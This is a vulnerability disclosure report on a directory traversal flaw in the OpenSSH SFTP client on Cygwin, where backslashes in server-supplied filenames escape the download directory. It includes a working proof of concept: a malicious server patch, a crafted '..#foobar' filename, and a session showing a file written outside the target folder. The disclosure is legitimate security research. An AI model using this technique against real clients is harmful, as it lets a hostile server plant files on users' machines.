OpenSSH on Cygwin: directory traversal in SFTP client
Portable OpenSSH supports running on Cygwin. However, the SFTP client only filters out forward slashes (in do_lsreaddir()) and the directory names "." and ".." (in download_dir_internal()). On Windows, including in Cygwin, backslashes can also be used for directory traversal.
To reproduce:
On the server:
Patch OpenSSH like this, then build it:
--- openssh-7.4p1/sftp-server.c 2016-12-18 20:59:41.000000000 -0800
+++ openssh-7.4p1-patched/sftp-server.c 2016-12-20 15:55:34.980000300 -0800
@@ -1065,10 +1065,11 @@
strcmp(path, "/") ? "/" : "", dp->d_name);
if (lstat(pathname, &st) < 0)
continue;
stat_to_attrib(&st, &(stats[count].attrib));
stats[count].name = xstrdup(dp->d_name);
+for (i=0; i<strlen(stats[count].name); i++) if (stats[count].name[i] == '#') stats[count].name[i] = '\\';
stats[count].long_name = ls_file(dp->d_name, &st, 0, 0);
count++;
/* send up to 100 entries in one message */
/* XXX check packet size instead */
if (count == 100)
Ensure that an OpenSSH server is running.
Create the following directory structure:
user@DESKTOP ~
$ mkdir -p sourceparent/source
user@DESKTOP ~
$ touch 'sourceparent/source/..#foobar'
user@DESKTOP ~
$ echo foobar > sourceparent/foobar
user@DESKTOP ~
$
Now, on the client (Cygwin on Windows 10), build OpenSSH, then recursively download a directory like this:
user@DESKTOP ~
$ mkdir destparent
user@DESKTOP ~
$ cd destparent/
user@DESKTOP ~/destparent
$ ls -la
total 4
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 .
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 ..
user@DESKTOP ~/destparent
$ ~/openssh-7.4p1/sftp -r -s /home/user/openssh-7.4p1-patched/sftp-server localhost:sourceparent/source dest
Connected to localhost.
Fetching /home/user/sourceparent/source/ to dest
Retrieving /home/user/sourceparent/source
user@DESKTOP ~/destparent
$ ls -la
total 5
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 .
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 ..
drwxr-xr-x+ 1 user None 0 Dec 20 16:24 dest
-rwxr-xr-x 1 user None 7 Dec 20 16:24 foobar
user@DESKTOP ~/destparent
$
As you can see, sftp created the file "foobar" outside the specified destination directory "dest".
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Found by: jannh